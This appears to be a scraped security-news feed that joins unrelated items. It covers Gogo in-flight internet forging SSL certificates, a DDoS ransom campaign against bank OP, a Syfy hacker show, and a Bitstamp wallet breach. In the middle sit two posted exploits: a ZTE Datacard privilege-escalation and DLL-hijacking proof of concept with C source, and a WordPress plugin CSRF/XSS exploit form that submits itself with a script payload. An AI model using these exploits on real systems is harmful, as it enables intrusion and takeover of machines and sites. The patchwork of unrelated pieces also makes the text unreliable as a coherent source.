SSL/TLS is a protocol that exists to ensure that there is an avenue for secure communication over the Internet. Through the use of cryptography and certificate validation, SSL certificates make man-in-the-middle attacks (where a third party would be able monitor your internet traffic) difficult, so the transmission of things like credit card numbers and user account passwords becomes significantly safer. In this case, performing a man-in-the-middle attack would require the attacker to attack the SSL certificate first before being able to snoop on someone's traffic. For whatever reason, however, Gogo Inflight Internet seems to believe that they are justified in performing a man-in-the-middle attack on their users. Adrienne Porter Felt, an engineer that is a part of the Google Chrome security team, discovered while on a flight that she was being served SSL certificates from Gogo when she was requesting Google sites. Looking at the issuer of the certificate, rather than being issued by Google, it was being issued by Gogo. This presents itself as an extremely unacceptable action by Gogo which serves in-flight internet to a number of different national and international airlines, including Aeromexico, American Airlines, Air Canada, Japan Airlines and Virgin Atlantic, among many others. Earlier this year, it was revealed through the FCC that Gogo partnered with government officials to produce "capabilities to accommodate law enforcement interests" that go beyond those outlined under federal law. It mentioned how it worked closely with law enforcement and directly baked spyware into their service. If that wasn't bad enough, based on this revelation, Gogo is now intentionally attacking its users' browsing sessions to remove any line of defense that a user may have, and based on their history, it cannot be trusted that it is being done for any legitimate reason. While Gogo happily waves how heavily it mines its customers' data and is willing to cooperate with governments and law enforcement groups, including undisclosed "third parties," this method of mining goes beyond what anyone would ever expect. Gogo is also offering in-flight texting and voicemail, and there is no doubt as to how Gogo will be handling the privacy and security elements of those as well. If you have used Gogo in the past, it is worth considering that all of your communications, including those over SSL/TLS, have been compromised and that you should consider resetting your passwords-- at least for Google and Google-related services. If you intend to use Gogo in the future, do so through the use of Tor or through a secure VPN. Update: Gogo has issued this statement in response to the situation: Source

Finnish bank OP is continuing to fight off a cascading series of distributed denial of service (DDoS) attacks that began on New Year's Eve. OP was forced to restrict access to its services from outside the Nordic country as a result of the attack. The motive for the attack, much less the perpetrators' identity, remain unclear. Unusually the attack is taking place over a time-span of days, rather than hours. A previously unknown group is using social media to demand payment of a ransom in Bitcoins to call off the attack. CoreSecRUS's claims remain unverified. The bank has set up a helpline for customers unable to access services online. OP said that it had got on top of the attack on Sunday... ... before a fresh flood of junk traffic once again rendered its services unavailable. The above tweet was followed with contact details for customers affected by the outage. Source

Syfy is diving back into the reality TV biz, and this time it's with a hackers show, naturally called Hackers. Honestly, we'd be more into a Hackers movie remake than a show about actual "hackers" but okay, sure. Why not? In a press release, Syfy announced that they would be teaming up with Relativity Television (who brought us all Catfish the show) to work on the unscripted series, which will "take viewers deep inside the shadowy and dangerous world of high-tech hackers for the very first time." How will they do that? By telling stories "ripped from the headlines" about real life hackers and the people who "tracked them down." The new series also boasts an "experiential 'hacking' scene that exposes what actually happens when a computer network is broken into – including what goes on inside the mind of the hacker." I don't now know what this means. Like a thought bubble? I could be into that. Either way, it's definitely timely, so let's see what happens. Also, we would like to suggest Jonny Lee Miller as a host. Source

/* * Exploit Title:ZTE Datacard MF19 0V1.0.0B04 (PCW_MOBILISALGV1.0.0B03 mobilis ) Insecure Permissions Local Privilege Escalation & PoC Local crash & DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll) * Date: 1/01/2015 * Author: Hadji Samir s-dz@hotmail.fr * Link soft:http://www.3g.dz/fr/cle_mas/index.php?id_document=2 * Vendor: http://www.zte.com.cn/ http://www.mobilis.dz/entreprises/mobiconnect.php * Tested on: windows 7 FR * Thanks Anna ############################# Insecure Permissions Local Privilege Escalation ################################################ Technical Details & Description: ================================ A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect application software. The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes. The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full) for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet` directory which has the Everyone group assigned to it with full permissions making every single file inside vulnerable to change by any user on the affected machine. After you replace the binary with your rootkit, on reboot you get SYSTEM privileges. Proof of Concept (PoC): ======================= The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\Mobiconnect" C:\Program Files\Mobiconnect Medium Mandatory Level (Default) [No-Write-Up] RW Tout le monde FILE_ALL_ACCESS RW NT SERVICE\TrustedInstaller FILE_ALL_ACCESS RW AUTORITE NT\SystÞme FILE_ALL_ACCESS RW BUILTIN\Administrateurs FILE_ALL_ACCESS R BUILTIN\Utilisateurs FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL C:\Users\s-dz\Desktop> C:\Program Files>icacls "Mobiconnect" Mobiconnect Tout le monde:(F) Tout le monde:(OI)(CI)(IO)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) AUTORITE NT\Système:(I)(F) AUTORITE NT\Système:(I)(OI)(CI)(IO)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F) BUILTIN\Utilisateurs:(I)(RX) BUILTIN\Utilisateurs:(I)(OI)(CI)(IO)(GR,GE) CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F) 1 fichiers correctement traités ; échec du traitement de 0 fichiers 2- ########################### PoC Local crash ########################################################## first go to C:\program files\Internet Mobile\etworkCfg.xml (Network configuration) and write "A" * 3000 in <ConfigFileName>"A" x 3000</ConfigFileName> . Save it open the program . poc will crash ........... ########################################################################################################## 3-########################DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll)####################### */ #include <windows.h> BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK); } Source

|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| |-------------------------------------------------------------------------| |[*] Exploit Title: Wordpress Banner Effect Header 1.2.6 Plugin XSS, CSRF Vulnerability | |[*] Date : Date: 2015-01-02 | |[*] Exploit Author: Ashiyane Digital Security Team | |[*] Vendor Homepage : https://wordpress.org/plugins/banner-effect-header/ | |[*] Plugin Link : https://downloads.wordpress.org/plugin/banner-effect-header.zip | |[*] Tested on: Windows 7 | |[*] Discovered By : Mahdi.Hidden | |-------------------------------------------------------------------------| | |[*] Location :http://[localhost]/[path]/wp-admin/options-general.php?page=BannerEffectOptions | |-------------------------------------------------------------------------| Exploit Code: <html> <body> <form name="post_form" method="post" action="http://localhost/wordpress/wp-admin/options-general.php?page=BannerEffectOptions"> <input type="hidden" name="banner_effect_submit_hidden" value="Y"> <input type="hidden" name="banner_effect_email" value='a@a.com"><script>alert(/xss/)</script>'> <script language="Javascript"> setTimeout('post_form.submit()', 1); </script> </form> </body> </html> |-------------------------------------------------------------------------| | This is CSRF & XSS |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |-------------------------------------------------------------------------| |#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#| Source

Bitstamp, a Bitcoin exchange based in the United Kingdom, remains offline this afternoon following what appears to have been a compromise over the weekend. The company tweeted shortly after 4 a.m. Monday that it had to temporarily halt all withdrawals because it believes one of its wallets was compromised Sunday. In a warning on its site, Bitstamp apologized for the inconvenience and claimed that following an investigation it would return to service and amend its security measures as appropriate. The exchange, which until 2013 was operated out of Slovenia, is the world’s third largest exchange by volume, according to BitcoinCharts.com. Another warning on the exchange’s site stresses that users refrain from making deposits to their previously issued Bitcoin addresses and that only deposits made prior to today can be covered by Bitstamp’s reserves. Users who try to deposit Bitcoin are confronted with the following message: Emails sent from Bitstamp customer support to verified users early this morning claim that its transaction processing server “detected problems” with its hot wallet and that effective immediately, it was suspending withdrawals. In Bitcoin-speak, a hot wallet refers to a wallet – a collection of private keys – that’s connected to the Internet. To quell users’ fears, Nejc Kodri?, Bitstamp’s co-founder and CEO insisted via tweet this morning that the bulk of the company’s Bitcoin are in cold storage – offline – and are unaffected by this incident. As Bitstamp’s site makes clear, the company only keeps a “small fraction” of Bitcoin in its online systems and that its offline reserves could cover any Bitcoin compromised. Kodri?, who currently is en route to the annual Consumer Electronics Show (CES) in Las Vegas, said he hoped to have an ETA for when Bitstamp could restore service later today. Many news outlets are speculating that what may have forced Bitstamp offline is potentially a random number generator (RNG) attack. More than 800 Bitcoin ($220,000 USD) was swept from blockchain.info wallets last month following a RNG security issue with blockchain.info wallets. johoe, a white hat hacker took credit for the sweep but later, as a sign of good faith, refunded the stolen Bitcoin to users who could prove it belonged to them. In an interview with CryptoCoinsNews last year, johoe claimed he was able to sweep any Bitcoin associated with addresses generated by a buggy Blockchain.info random number generator. Blockchain.info ultimately blamed the RNG vulnerability, which failed to ensure private keys were generated in a secure fashion, on a scheduled software update that was deployed overnight. It hasn’t even been a year since Mt. Gox – at one point, the largest Bitcoin exchange – collapsed after losing more than $450 million in Bitcoin. It wasn’t long after that the Tokyo-based exchange shuttered its website and filed for bankruptcy. Source